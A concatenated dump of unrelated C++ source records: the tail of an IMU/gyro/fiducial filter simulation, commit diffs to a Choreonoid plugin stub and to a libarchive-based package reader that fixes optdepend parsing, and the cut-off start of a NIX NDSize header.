\/\/ true_x.eps_ddot[4] = 0.05;\n \/\/ true_x.eps_ddot[5] = -0.01;\n } else if (k > 130) {\n \/\/ true_x.eps_ddot.setZero();\n }\n\n \/\/\n \/\/ Accelerometer Observation\n \/\/\n \/\/ if ((k % 10 == 0) && k > 75) {\n if (true) {\n ground_truth.push_back(true_x);\n const AccelMeasurement imu_meas = observe_accel(true_x, true_params);\n std::cout << \"Accel: \" << imu_meas.observed_acceleration.transpose() << std::endl;\n\n jf.measure_imu(imu_meas, current_time);\n jet_opt.measure_imu(imu_meas, current_time);\n\n jf.free_run();\n est_states.push_back(jf.state().x);\n assert(jf.state().time_of_validity == current_time);\n\n const jcc::Vec4 accel_color(0.0, 0.7, 0.7, 0.8);\n obs_geo->add_sphere({jf.state().x.T_body_from_world.inverse().translation(),\n sphere_size_m, accel_color});\n\n const SE3 world_from_body = jf.state().x.T_body_from_world.inverse();\n const jcc::Vec3 observed_accel_world_frame =\n (world_from_body.so3() * true_params.T_imu_from_vehicle.so3().inverse() *\n imu_meas.observed_acceleration);\n\n obs_geo->add_line(\n {world_from_body.translation(),\n world_from_body.translation() + (0.25 * observed_accel_world_frame),\n accel_color});\n }\n\n \/\/\n \/\/ Gyro Observation\n \/\/\n if (true) {\n constexpr auto dt2 = to_duration(0.01);\n true_x = rk4_integrate(true_x, true_params, to_seconds(dt2));\n current_time += dt2;\n ground_truth.push_back(true_x);\n\n const GyroMeasurement gyro_meas = observe_gyro(true_x, true_params);\n std::cout << \"Gyro: \" << gyro_meas.observed_w.transpose() << std::endl;\n\n jf.measure_gyro(gyro_meas, current_time);\n jet_opt.measure_gyro(gyro_meas, current_time);\n\n jf.free_run();\n est_states.push_back(jf.state().x);\n assert(jf.state().time_of_validity == current_time);\n\n const jcc::Vec4 gyro_color(0.7, 0.1, 0.7, 0.8);\n obs_geo->add_sphere({jf.state().x.T_body_from_world.inverse().translation(),\n sphere_size_m, gyro_color});\n\n const SE3 world_from_body = jf.state().x.T_body_from_world.inverse();\n const jcc::Vec3 observed_w_world_frame =\n (world_from_body.so3() * true_params.T_imu_from_vehicle.so3().inverse() *\n gyro_meas.observed_w);\n\n obs_geo->add_line({world_from_body.translation(),\n world_from_body.translation() + (0.25 * observed_w_world_frame),\n gyro_color});\n }\n\n \/\/\n \/\/ Fiducial Measurement\n \/\/\n\n {\n constexpr auto dt2 = to_duration(0.05);\n true_x = rk4_integrate(true_x, true_params, to_seconds(dt2));\n current_time += dt2;\n\n ground_truth.push_back(true_x);\n const FiducialMeasurement fiducial_meas = observe_fiducial(true_x, true_params);\n\n jf.measure_fiducial(fiducial_meas, current_time);\n jet_opt.measure_fiducial(fiducial_meas, current_time);\n\n jf.free_run();\n est_states.push_back(jf.state().x);\n assert(jf.state().time_of_validity == current_time);\n obs_geo->add_sphere({jf.state().x.T_body_from_world.inverse().translation(),\n sphere_size_m, jcc::Vec4(1.0, 0.0, 0.0, 1.0)});\n }\n\n \/\/\n \/\/ Printout\n \/\/\n {\n const auto xp = jf.state();\n std::cout << \"k: \" << k << std::endl;\n print_state(xp.x);\n }\n true_x = rk4_integrate(true_x, true_params, to_seconds(dt));\n current_time += dt;\n }\n\n \/\/ Do the optimization\n\n obs_geo->flip();\n const auto geo = view->add_primitive<viewer::SimpleGeometry>();\n draw_states(*geo, ground_truth, true);\n geo->flip();\n\n \/\/ const std::vector<State> crap_init(est_states.size(), xp0.x);\n \/\/ const auto solution = jet_opt.solve(crap_init, jf.parameters());\n const auto solution = jet_opt.solve(est_states, jf.parameters());\n \/\/ const auto solution = jet_opt.solve(ground_truth, jf.parameters());\n\n for (std::size_t k = 0; k < solution.x.size(); ++k) {\n const auto& state = solution.x.at(k);\n std::cout << \"----- \" << k << std::endl;\n print_state(state);\n std::cout << \"\\\\\\\\\\\\\\\\\\\\\\\\\" << std::endl;\n print_state(ground_truth.at(k));\n }\n std::cout << \"Optimized g: \" << solution.p.g_world.transpose() << std::endl;\n std::cout << \"Optimized T_imu_from_vehicle: \"\n << solution.p.T_imu_from_vehicle.translation().transpose() << \"; \"\n << solution.p.T_imu_from_vehicle.so3().log().transpose() << std::endl;\n\n draw_states(*geo, solution.x, false);\n\n view->spin_until_step();\n}\n\n} \/\/ namespace jet_filter\n} \/\/ namespace estimation\n\nint main() {\n \/\/ estimation::jet_filter::go();\n estimation::jet_filter::run_filter();\n}<|endoftext|>"} {"text":"<commit_before>#include <cnoid\/Plugin>\n#include <boost\/bind.hpp>\n\nusing namespace cnoid;\nusing namespace boost;\n\nclass ProtoPlugin : public Plugin\n{\npublic:\n\n ProtoPlugin() : Plugin(\"ProtoPlugin\")\n {\n\t\n }\n\n\t\/* virtual functions can be overridden by child functions *\/ \t\t\n virtual bool initialize()\n {\n\t\/\/ make things happen\n }\n\nprivate:\n\n void onProtoTriggered()\n {\n \t\/\/ make things binded to ProtoPlugin() happen\n\t\/\/ must return true (good way to test functionality)\n }\n};\n\n\n\/* generate associated .cnoid file ( i think ) *\/\nCNOID_IMPLEMENT_PLUGIN_ENTRY(ProtoPlugin)\n\n<commit_msg>Update ProtoPlugin.cpp<commit_after>#include <cnoid\/Plugin>\n#include <boost\/bind.hpp>\n\nusing namespace cnoid;\nusing namespace boost;\n\nclass ProtoPlugin : public Plugin\n{\npublic:\n\n ProtoPlugin() : Plugin(\"ProtoPlugin\")\n {\n\t\n }\n\n\t\/* virtual functions can be overridden by child functions *\/ \t\t\n virtual bool initialize()\n {\n\t\/\/ make things happen\n }\n\nprivate:\n\n void onProtoTriggered()\n {\n \t\/\/ make things binded to ProtoPlugin() happen\n\t\n }\n};\n\n\n\/* generate associated .cnoid file ( i think ) *\/\nCNOID_IMPLEMENT_PLUGIN_ENTRY(ProtoPlugin)\n\n<|endoftext|>"} {"text":"<commit_before>#include <memory>\n\n#include <archive.h>\n#include <archive_entry.h>\n\n#include \"main.h\"\n\nstatic bool\ncare_about(struct archive_entry *entry)\n{\n\tmode_t mode = archive_entry_mode(entry);\n\n#if 0\n\tif (AE_IFLNK == (mode & AE_IFLNK)) {\n\t\t\/\/ ignoring symlinks for now\n\t\treturn false;\n\t}\n#endif\n\n\tif (AE_IFREG != (mode & AE_IFREG)) {\n\t\t\/\/ not a regular file\n\t\treturn false;\n\t}\n\n\tif (!archive_entry_size_is_set(entry)) {\n\t\t\/\/ ignore files which have no size...\n\t\treturn false;\n\t}\n\n\treturn true;\n}\n\n\/\/ because isspace(3) is locale dependent\nstatic bool\nc_isspace(const char c) {\n\treturn (c == ' ' || c == '\\t' ||\n\t c == '\\n' || c == '\\r' ||\n\t c == '\\v' || c == '\\f');\n}\n\nstatic bool\nends_word(const char c) {\n\treturn c_isspace(c) || c == '=';\n}\n\n\/\/ NOTE:\n\/\/ Judgding from pacman\/libalpm source code this function\n\/\/ is way less strict about the formatting, as we skip whitespace\n\/\/ between every word, whereas pacman matches \/^(\\w+) = (.*)$\/ exactly.\nstatic bool\nread_info(Package *pkg, struct archive *tar, size_t size)\n{\n\tstd::vector<char> data(size);\n\tssize_t rc = archive_read_data(tar, &data[0], size);\n\tif ((size_t)rc != size) {\n\t\tlog(Error, \"failed to read .PKGINFO\");\n\t\treturn false;\n\t}\n\n\tstd::string str(&data[0], data.size());\n\n\tsize_t pos = 0;\n\tauto skipwhite = [&]() {\n\t\twhile (pos < size && c_isspace(str[pos]))\n\t\t\t++pos;\n\t};\n\n\tauto skipline = [&]() {\n\t\twhile (pos < size && str[pos] != '\\n')\n\t\t\t++pos;\n\t};\n\n\tauto getvalue = [&](const char *entryname, std::string &out) -> bool {\n\t\tskipwhite();\n\t\tif (str[pos] != '=') {\n\t\t\tlog(Error, \"Error in .PKGINFO\");\n\t\t\treturn false;\n\t\t}\n\t\t++pos;\n\t\tskipwhite();\n\t\tif (pos >= size) {\n\t\t\tlog(Error, \"invalid %s entry in .PKGINFO\", entryname);\n\t\t\treturn false;\n\t\t}\n\t\tsize_t to = str.find_first_of(\" \\n\\r\\t\", pos);\n\t\tout = str.substr(pos, to-pos);\n\t\tskipline();\n\t\treturn true;\n\t};\n\n\tauto isentry = [&](const char *what, size_t len) -> bool {\n\t\tif (size-pos > len &&\n\t\t str.compare(pos, len, what) == 0 &&\n\t\t ends_word(str[pos+len]))\n\t\t{\n\t\t\tpos += len;\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t};\n\n\tstd::string es;\n\twhile (pos < size) {\n\t\tskipwhite();\n\t\tif (isentry(\"pkgname\", sizeof(\"pkgname\")-1)) {\n\t\t\tif (!getvalue(\"pkgname\", pkg->name))\n\t\t\t\treturn false;\n\t\t\tcontinue;\n\t\t}\n\t\tif (isentry(\"pkgver\", sizeof(\"pkgver\")-1)) {\n\t\t\tif (!getvalue(\"pkgver\", pkg->version))\n\t\t\t\treturn false;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (!opt_package_depends) {\n\t\t\tskipline();\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (isentry(\"depend\", sizeof(\"depend\")-1)) {\n\t\t\tif (!getvalue(\"depend\", es))\n\t\t\t\treturn false;\n\t\t\tpkg->depends.push_back(es);\n\t\t\tcontinue;\n\t\t}\n\t\tif (isentry(\"optdepend\", sizeof(\"optdepend\")-1)) {\n\t\t\tif (!getvalue(\"optdepend\", es))\n\t\t\t\treturn false;\n\t\t\tes.erase(es.find_first_of(':'));\n\t\t\tif (es.length())\n\t\t\t\tpkg->optdepends.push_back(es);\n\t\t\tcontinue;\n\t\t}\n\n\t\tskipline();\n\t}\n\treturn true;\n}\n\nstatic inline std::tuple<std::string, std::string>\nsplitpath(const std::string& path)\n{\n\tsize_t slash = path.find_last_of('\/');\n\tif (slash == std::string::npos)\n\t\treturn std::make_tuple(\"\/\", path);\n\tif (path[0] != '\/')\n\t\treturn std::make_tuple(std::move(std::string(\"\/\") + path.substr(0, slash)), path.substr(slash+1));\n\treturn std::make_tuple(path.substr(0, slash), path.substr(slash+1));\n}\n\nstatic bool\nread_object(Package *pkg, struct archive *tar, std::string &&filename, size_t size)\n{\n\tstd::vector<char> data;\n\tdata.resize(size);\n\n\tssize_t rc = archive_read_data(tar, &data[0], size);\n\tif (rc < 0) {\n\t\tlog(Error, \"failed to read from archive stream\\n\");\n\t\treturn false;\n\t}\n\telse if ((size_t)rc != size) {\n\t\tlog(Error, \"file was short: %s\\n\", filename.c_str());\n\t\treturn false;\n\t}\n\n\tbool err = false;\n\trptr<Elf> object(Elf::open(&data[0], data.size(), &err, filename.c_str()));\n\tif (!object.get()) {\n\t\tif (err)\n\t\t\tlog(Error, \"error in: %s\\n\", filename.c_str());\n\t\treturn !err;\n\t}\n\n\tauto split(std::move(splitpath(filename)));\n\tobject->dirname = std::move(std::get<0>(split));\n\tobject->basename = std::move(std::get<1>(split));\n\tobject->solve_paths(object->dirname);\n\n\tpkg->objects.push_back(object);\n\n\treturn true;\n}\n\nstatic bool\nadd_entry(Package *pkg, struct archive *tar, struct archive_entry *entry)\n{\n\tstd::string filename(archive_entry_pathname(entry));\n\tbool isinfo = filename == \".PKGINFO\";\n\n\t\/\/ for now we only care about files named lib.*\\.so(\\.|$)\n\tif (!isinfo && !care_about(entry))\n\t{\n\t\tarchive_read_data_skip(tar);\n\t\treturn true;\n\t}\n\n\tmode_t mode = archive_entry_mode(entry);\n\tif (AE_IFLNK == (mode & AE_IFLNK)) {\n\t\t\/\/ it's a symlink...\n\t\tconst char *link = archive_entry_symlink(entry);\n\t\tif (!link) {\n\t\t\tlog(Error, \"error reading symlink\");\n\t\t\treturn false;\n\t\t}\n\t\tarchive_read_data_skip(tar);\n\t\tpkg->load.symlinks[filename] = link;\n\t\treturn true;\n\t}\n\n\t\/\/ Check the size\n\tsize_t size = archive_entry_size(entry);\n\tif (!size)\n\t\treturn true;\n\n\tif (isinfo)\n\t\treturn read_info(pkg, tar, size);\n\n\treturn read_object(pkg, tar, std::move(filename), size);\n}\n\nElf*\nPackage::find(const std::string& dirname, const std::string& basename) const\n{\n\tfor (auto &obj : objects) {\n\t\tif (obj->dirname == dirname && obj->basename == basename)\n\t\t\treturn const_cast<Elf*>(obj.get());\n\t}\n\treturn nullptr;\n}\n\nvoid\nPackage::guess(const std::string& path)\n{\n\t\/\/ extract the basename:\n\tsize_t at = path.find_last_of('\/');\n\tstd::string base(at == std::string::npos ? path : path.substr(at+1));\n\n\t\/\/ at least N.tgz\n\tif (base.length() < 5)\n\t\treturn;\n\n\t\/\/ ArchLinux scheme:\n\t\/\/ ${name}-${pkgver}-${pkgrel}-${CARCH}.pkg.tar.*\n\t\/\/ Slackware:\n\t\/\/ ${name}-${pkgver}-${CARCH}-${build}.t{gz,bz2,xz}\n\n\t\/\/ so the first part up to the first \/-\\d\/ is part of the name\n\tsize_t to = base.find_first_of(\"-.\");\n\n\t\/\/ sanity:\n\tif (!to || to == std::string::npos)\n\t\treturn;\n\n\twhile (to+1 < base.length() && \/\/ gonna check [to+1]\n\t base[to] != '.' && \/\/ a dot ends the name\n\t !(base[to+1] >= '0' && base[to+1] <= '9'))\n\t{\n\t\t\/\/ name can have dashes, let's move to the next one\n\t\tto = base.find_first_of(\"-.\", to+1);\n\t}\n\n\tname = base.substr(0, to);\n\tif (base[to] != '-' || !(base[to+1] >= '0' && base[to+1] <= '9')) {\n\t\t\/\/ no version\n\t\treturn;\n\t}\n\n\t\/\/ version\n\tsize_t from = to+1;\n\tto = base.find_first_of('-', from);\n\n\tif (to == std::string::npos) {\n\t\t\/\/ we'll take it...\n\t\tversion = base.substr(from);\n\t\treturn;\n\t}\n\n\tbool slack = true;\n\n\t\/\/ check for a pkgrel (Arch scheme)\n\tif (base[to] == '-' &&\n\t to+1 < base.length() &&\n\t (base[to+1] >= '0' && base[to+1] <= '9'))\n\t{\n\t\tslack = false;\n\t\tto = base.find_first_of(\"-.\", to+1);\n\t}\n\n\tversion = base.substr(from, to-from);\n\tif (!slack || to == std::string::npos)\n\t\treturn;\n\n\t\/\/ slackware build-name comes right before the extension\n\tto = base.find_last_of('.');\n\tif (!to || to == std::string::npos)\n\t\treturn;\n\tfrom = base.find_last_of(\"-.\", to-1);\n\tif (from && from != std::string::npos) {\n\t\tversion.append(1, '-');\n\t\tversion.append(base.substr(from+1, to-from-1));\n\t}\n}\n\nPackage*\nPackage::open(const std::string& path)\n{\n\tstd::unique_ptr<Package> package(new Package);\n\n\tstruct archive *tar = archive_read_new();\n\tarchive_read_support_filter_all(tar);\n\tarchive_read_support_format_all(tar);\n\n\tstruct archive_entry *entry;\n\tif (ARCHIVE_OK != archive_read_open_filename(tar, path.c_str(), 10240)) {\n\t\treturn 0;\n\t}\n\n\twhile (ARCHIVE_OK == archive_read_next_header(tar, &entry)) {\n\t\tif (!add_entry(package.get(), tar, entry))\n\t\t\treturn 0;\n\t}\n\n\tarchive_read_free(tar);\n\n\tif (!package->name.length() && !package->version.length())\n\t\tpackage->guess(path);\n\n\tbool changed;\n\tdo {\n\t\tchanged = false;\n\t\tfor (auto link = package->load.symlinks.begin(); link != package->load.symlinks.end();)\n\t\t{\n\t\t\tauto linkfrom = splitpath(link->first);\n\t\t\tdecltype(linkfrom) linkto;\n\n\t\t\t\/\/ handle relative as well as absolute symlinks\n\t\t\tif (!link->second.length()) {\n\t\t\t\t\/\/ illegal\n\t\t\t\t++link;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (link->second[0] == '\/') \/\/ absolute\n\t\t\t\tlinkto = splitpath(link->second);\n\t\t\telse \/\/ relative\n\t\t\t{\n\t\t\t\tstd::string fullpath = std::get<0>(linkfrom) + \"\/\" + link->second;\n\t\t\t\tlinkto = splitpath(fullpath);\n\t\t\t}\n\n\t\t\tElf *obj = package->find(std::get<0>(linkto), std::get<1>(linkto));\n\t\t\tif (!obj) {\n\t\t\t\t++link;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tchanged = true;\n\n\t\t\tElf *copy = new Elf(*obj);\n\t\t\tcopy->dirname = std::move(std::get<0>(linkfrom));\n\t\t\tcopy->basename = std::move(std::get<1>(linkfrom));\n\t\t\tcopy->solve_paths(obj->dirname);\n\n\t\t\tpackage->objects.push_back(copy);\n\t\t\tpackage->load.symlinks.erase(link++);\n\t\t}\n\t} while (changed);\n\tpackage->load.symlinks.clear();\n\n\treturn package.release();\n}\n\nvoid\nPackage::show_needed()\n{\n\tconst char *name = this->name.c_str();\n\tfor (auto &obj : objects) {\n\t\tstd::string path = obj->dirname + \"\/\" + obj->basename;\n\t\tconst char *objname = path.c_str();\n\t\tfor (auto &need : obj->needed) {\n\t\t\tprintf(\"%s: %s NEEDS %s\\n\", name, objname, need.c_str());\n\t\t}\n\t}\n}\n<commit_msg>fix a bug in reading of optdepend entries<commit_after>#include <memory>\n\n#include <archive.h>\n#include <archive_entry.h>\n\n#include \"main.h\"\n\nstatic bool\ncare_about(struct archive_entry *entry)\n{\n\tmode_t mode = archive_entry_mode(entry);\n\n#if 0\n\tif (AE_IFLNK == (mode & AE_IFLNK)) {\n\t\t\/\/ ignoring symlinks for now\n\t\treturn false;\n\t}\n#endif\n\n\tif (AE_IFREG != (mode & AE_IFREG)) {\n\t\t\/\/ not a regular file\n\t\treturn false;\n\t}\n\n\tif (!archive_entry_size_is_set(entry)) {\n\t\t\/\/ ignore files which have no size...\n\t\treturn false;\n\t}\n\n\treturn true;\n}\n\n\/\/ because isspace(3) is locale dependent\nstatic bool\nc_isspace(const char c) {\n\treturn (c == ' ' || c == '\\t' ||\n\t c == '\\n' || c == '\\r' ||\n\t c == '\\v' || c == '\\f');\n}\n\nstatic bool\nends_word(const char c) {\n\treturn c_isspace(c) || c == '=';\n}\n\n\/\/ NOTE:\n\/\/ Judgding from pacman\/libalpm source code this function\n\/\/ is way less strict about the formatting, as we skip whitespace\n\/\/ between every word, whereas pacman matches \/^(\\w+) = (.*)$\/ exactly.\nstatic bool\nread_info(Package *pkg, struct archive *tar, const size_t size)\n{\n\tstd::vector<char> data(size);\n\tssize_t rc = archive_read_data(tar, &data[0], size);\n\tif ((size_t)rc != size) {\n\t\tlog(Error, \"failed to read .PKGINFO\");\n\t\treturn false;\n\t}\n\n\tstd::string str(&data[0], data.size());\n\n\tsize_t pos = 0;\n\tauto skipwhite = [&]() {\n\t\twhile (pos < size && c_isspace(str[pos]))\n\t\t\t++pos;\n\t};\n\n\tauto skipline = [&]() {\n\t\twhile (pos < size && str[pos] != '\\n')\n\t\t\t++pos;\n\t};\n\n\tauto getvalue = [&](const char *entryname, std::string &out) -> bool {\n\t\tskipwhite();\n\t\tif (pos >= size) {\n\t\t\tlog(Error, \"invalid %s entry in .PKGINFO\", entryname);\n\t\t\treturn false;\n\t\t}\n\t\tif (str[pos] != '=') {\n\t\t\tlog(Error, \"Error in .PKGINFO\");\n\t\t\treturn false;\n\t\t}\n\t\t++pos;\n\t\tskipwhite();\n\t\tif (pos >= size) {\n\t\t\tlog(Error, \"invalid %s entry in .PKGINFO\", entryname);\n\t\t\treturn false;\n\t\t}\n\t\tsize_t to = str.find_first_of(\" \\n\\r\\t\", pos);\n\t\tout = str.substr(pos, to-pos);\n\t\tskipline();\n\t\treturn true;\n\t};\n\n\tauto isentry = [&](const char *what, size_t len) -> bool {\n\t\tif (size-pos > len &&\n\t\t str.compare(pos, len, what) == 0 &&\n\t\t ends_word(str[pos+len]))\n\t\t{\n\t\t\tpos += len;\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t};\n\n\tstd::string es;\n\twhile (pos < size) {\n\t\tskipwhite();\n\t\tif (isentry(\"pkgname\", sizeof(\"pkgname\")-1)) {\n\t\t\tif (!getvalue(\"pkgname\", pkg->name))\n\t\t\t\treturn false;\n\t\t\tcontinue;\n\t\t}\n\t\tif (isentry(\"pkgver\", sizeof(\"pkgver\")-1)) {\n\t\t\tif (!getvalue(\"pkgver\", pkg->version))\n\t\t\t\treturn false;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (!opt_package_depends) {\n\t\t\tskipline();\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (isentry(\"depend\", sizeof(\"depend\")-1)) {\n\t\t\tif (!getvalue(\"depend\", es))\n\t\t\t\treturn false;\n\t\t\tpkg->depends.push_back(es);\n\t\t\tcontinue;\n\t\t}\n\t\tif (isentry(\"optdepend\", sizeof(\"optdepend\")-1)) {\n\t\t\tif (!getvalue(\"optdepend\", es))\n\t\t\t\treturn false;\n\t\t\tsize_t c = es.find_first_of(':');\n\t\t\tif (c != std::string::npos)\n\t\t\t\tes.erase(c);\n\t\t\tif (es.length())\n\t\t\t\tpkg->optdepends.push_back(es);\n\t\t\tcontinue;\n\t\t}\n\n\t\tskipline();\n\t}\n\treturn true;\n}\n\nstatic inline std::tuple<std::string, std::string>\nsplitpath(const std::string& path)\n{\n\tsize_t slash = path.find_last_of('\/');\n\tif (slash == std::string::npos)\n\t\treturn std::make_tuple(\"\/\", path);\n\tif (path[0] != '\/')\n\t\treturn std::make_tuple(std::move(std::string(\"\/\") + path.substr(0, slash)), path.substr(slash+1));\n\treturn std::make_tuple(path.substr(0, slash), path.substr(slash+1));\n}\n\nstatic bool\nread_object(Package *pkg, struct archive *tar, std::string &&filename, size_t size)\n{\n\tstd::vector<char> data;\n\tdata.resize(size);\n\n\tssize_t rc = archive_read_data(tar, &data[0], size);\n\tif (rc < 0) {\n\t\tlog(Error, \"failed to read from archive stream\\n\");\n\t\treturn false;\n\t}\n\telse if ((size_t)rc != size) {\n\t\tlog(Error, \"file was short: %s\\n\", filename.c_str());\n\t\treturn false;\n\t}\n\n\tbool err = false;\n\trptr<Elf> object(Elf::open(&data[0], data.size(), &err, filename.c_str()));\n\tif (!object.get()) {\n\t\tif (err)\n\t\t\tlog(Error, \"error in: %s\\n\", filename.c_str());\n\t\treturn !err;\n\t}\n\n\tauto split(std::move(splitpath(filename)));\n\tobject->dirname = std::move(std::get<0>(split));\n\tobject->basename = std::move(std::get<1>(split));\n\tobject->solve_paths(object->dirname);\n\n\tpkg->objects.push_back(object);\n\n\treturn true;\n}\n\nstatic bool\nadd_entry(Package *pkg, struct archive *tar, struct archive_entry *entry)\n{\n\tstd::string filename(archive_entry_pathname(entry));\n\tbool isinfo = filename == \".PKGINFO\";\n\n\t\/\/ for now we only care about files named lib.*\\.so(\\.|$)\n\tif (!isinfo && !care_about(entry))\n\t{\n\t\tarchive_read_data_skip(tar);\n\t\treturn true;\n\t}\n\n\tmode_t mode = archive_entry_mode(entry);\n\tif (AE_IFLNK == (mode & AE_IFLNK)) {\n\t\t\/\/ it's a symlink...\n\t\tconst char *link = archive_entry_symlink(entry);\n\t\tif (!link) {\n\t\t\tlog(Error, \"error reading symlink\");\n\t\t\treturn false;\n\t\t}\n\t\tarchive_read_data_skip(tar);\n\t\tpkg->load.symlinks[filename] = link;\n\t\treturn true;\n\t}\n\n\t\/\/ Check the size\n\tsize_t size = archive_entry_size(entry);\n\tif (!size)\n\t\treturn true;\n\n\tif (isinfo)\n\t\treturn read_info(pkg, tar, size);\n\n\treturn read_object(pkg, tar, std::move(filename), size);\n}\n\nElf*\nPackage::find(const std::string& dirname, const std::string& basename) const\n{\n\tfor (auto &obj : objects) {\n\t\tif (obj->dirname == dirname && obj->basename == basename)\n\t\t\treturn const_cast<Elf*>(obj.get());\n\t}\n\treturn nullptr;\n}\n\nvoid\nPackage::guess(const std::string& path)\n{\n\t\/\/ extract the basename:\n\tsize_t at = path.find_last_of('\/');\n\tstd::string base(at == std::string::npos ? path : path.substr(at+1));\n\n\t\/\/ at least N.tgz\n\tif (base.length() < 5)\n\t\treturn;\n\n\t\/\/ ArchLinux scheme:\n\t\/\/ ${name}-${pkgver}-${pkgrel}-${CARCH}.pkg.tar.*\n\t\/\/ Slackware:\n\t\/\/ ${name}-${pkgver}-${CARCH}-${build}.t{gz,bz2,xz}\n\n\t\/\/ so the first part up to the first \/-\\d\/ is part of the name\n\tsize_t to = base.find_first_of(\"-.\");\n\n\t\/\/ sanity:\n\tif (!to || to == std::string::npos)\n\t\treturn;\n\n\twhile (to+1 < base.length() && \/\/ gonna check [to+1]\n\t base[to] != '.' && \/\/ a dot ends the name\n\t !(base[to+1] >= '0' && base[to+1] <= '9'))\n\t{\n\t\t\/\/ name can have dashes, let's move to the next one\n\t\tto = base.find_first_of(\"-.\", to+1);\n\t}\n\n\tname = base.substr(0, to);\n\tif (base[to] != '-' || !(base[to+1] >= '0' && base[to+1] <= '9')) {\n\t\t\/\/ no version\n\t\treturn;\n\t}\n\n\t\/\/ version\n\tsize_t from = to+1;\n\tto = base.find_first_of('-', from);\n\n\tif (to == std::string::npos) {\n\t\t\/\/ we'll take it...\n\t\tversion = base.substr(from);\n\t\treturn;\n\t}\n\n\tbool slack = true;\n\n\t\/\/ check for a pkgrel (Arch scheme)\n\tif (base[to] == '-' &&\n\t to+1 < base.length() &&\n\t (base[to+1] >= '0' && base[to+1] <= '9'))\n\t{\n\t\tslack = false;\n\t\tto = base.find_first_of(\"-.\", to+1);\n\t}\n\n\tversion = base.substr(from, to-from);\n\tif (!slack || to == std::string::npos)\n\t\treturn;\n\n\t\/\/ slackware build-name comes right before the extension\n\tto = base.find_last_of('.');\n\tif (!to || to == std::string::npos)\n\t\treturn;\n\tfrom = base.find_last_of(\"-.\", to-1);\n\tif (from && from != std::string::npos) {\n\t\tversion.append(1, '-');\n\t\tversion.append(base.substr(from+1, to-from-1));\n\t}\n}\n\nPackage*\nPackage::open(const std::string& path)\n{\n\tstd::unique_ptr<Package> package(new Package);\n\n\tstruct archive *tar = archive_read_new();\n\tarchive_read_support_filter_all(tar);\n\tarchive_read_support_format_all(tar);\n\n\tstruct archive_entry *entry;\n\tif (ARCHIVE_OK != archive_read_open_filename(tar, path.c_str(), 10240)) {\n\t\treturn 0;\n\t}\n\n\twhile (ARCHIVE_OK == archive_read_next_header(tar, &entry)) {\n\t\tif (!add_entry(package.get(), tar, entry))\n\t\t\treturn 0;\n\t}\n\n\tarchive_read_free(tar);\n\n\tif (!package->name.length() && !package->version.length())\n\t\tpackage->guess(path);\n\n\tbool changed;\n\tdo {\n\t\tchanged = false;\n\t\tfor (auto link = package->load.symlinks.begin(); link != package->load.symlinks.end();)\n\t\t{\n\t\t\tauto linkfrom = splitpath(link->first);\n\t\t\tdecltype(linkfrom) linkto;\n\n\t\t\t\/\/ handle relative as well as absolute symlinks\n\t\t\tif (!link->second.length()) {\n\t\t\t\t\/\/ illegal\n\t\t\t\t++link;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (link->second[0] == '\/') \/\/ absolute\n\t\t\t\tlinkto = splitpath(link->second);\n\t\t\telse \/\/ relative\n\t\t\t{\n\t\t\t\tstd::string fullpath = std::get<0>(linkfrom) + \"\/\" + link->second;\n\t\t\t\tlinkto = splitpath(fullpath);\n\t\t\t}\n\n\t\t\tElf *obj = package->find(std::get<0>(linkto), std::get<1>(linkto));\n\t\t\tif (!obj) {\n\t\t\t\t++link;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tchanged = true;\n\n\t\t\tElf *copy = new Elf(*obj);\n\t\t\tcopy->dirname = std::move(std::get<0>(linkfrom));\n\t\t\tcopy->basename = std::move(std::get<1>(linkfrom));\n\t\t\tcopy->solve_paths(obj->dirname);\n\n\t\t\tpackage->objects.push_back(copy);\n\t\t\tpackage->load.symlinks.erase(link++);\n\t\t}\n\t} while (changed);\n\tpackage->load.symlinks.clear();\n\n\treturn package.release();\n}\n\nvoid\nPackage::show_needed()\n{\n\tconst char *name = this->name.c_str();\n\tfor (auto &obj : objects) {\n\t\tstd::string path = obj->dirname + \"\/\" + obj->basename;\n\t\tconst char *objname = path.c_str();\n\t\tfor (auto &need : obj->needed) {\n\t\t\tprintf(\"%s: %s NEEDS %s\\n\", name, objname, need.c_str());\n\t\t}\n\t}\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2013, German Neuroinformatics Node (G-Node)\n\/\/\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted under the terms of the BSD License. See\n\/\/ LICENSE file in the root of the Project.\n\n#ifndef NIX_PSIZE_H\n#define NIX_PSIZE_H\n\n#include <nix\/Platform.hpp>\n#include <nix\/Exception.hpp>\n\n#include <cstdint>\n#include <stdexcept>\n#include <algorithm>\n#include <initializer_list>\n#include <iostream>\n\nnamespace nix {\n\n#ifdef _WIN32\n\/\/TODO: consider reimplementing NDSizeBase using std::vector (cf. issue #449)\n#pragma warning(disable: 4996)\n#endif\n\ntemplate<typename T>\nclass NDSizeBase {\n\npublic:\n\n typedef T value_type;\n typedef T *iterator;\n typedef const T *const_iterator;\n typedef T &reference;\n typedef const T const_reference;\n typedef T *pointer;\n typedef size_t difference_type;\n typedef size_t size_type;\n\n NDSizeBase()\n : rank(0), dims(nullptr)\n {\n }\n\n\n explicit NDSizeBase(size_t rank)\n : rank(rank), dims(nullptr)\n {\n allocate();\n }\n\n\n explicit NDSizeBase(size_t rank, T fill_value)\n : rank(rank), dims(nullptr)\n {\n allocate();\n fill(fill_value);\n }\n\n template<typename U>\n NDSizeBase(std::initializer_list<U> args)\n : rank(args.size())\n {\n allocate();\n std::transform(args.begin(), args.end(), dims, [](const U& val) { return static_cast<T>(val);});\n }\n\n \/\/copy\n NDSizeBase(const NDSizeBase &other)\n : rank(other.rank), dims(nullptr)\n {\n allocate();\n std::copy(other.dims, other.dims + rank, dims);\n }\n\n \/\/move (not tested due to: http:\/\/llvm.org\/bugs\/show_bug.cgi?id=12208)\n NDSizeBase(NDSizeBase &&other)\n : rank(other.rank), dims(other.dims)\n {\n other.dims = nullptr;\n other.rank = 0;\n }\n\n \/\/copy and move assignment operator (not tested, see above)\n NDSizeBase& 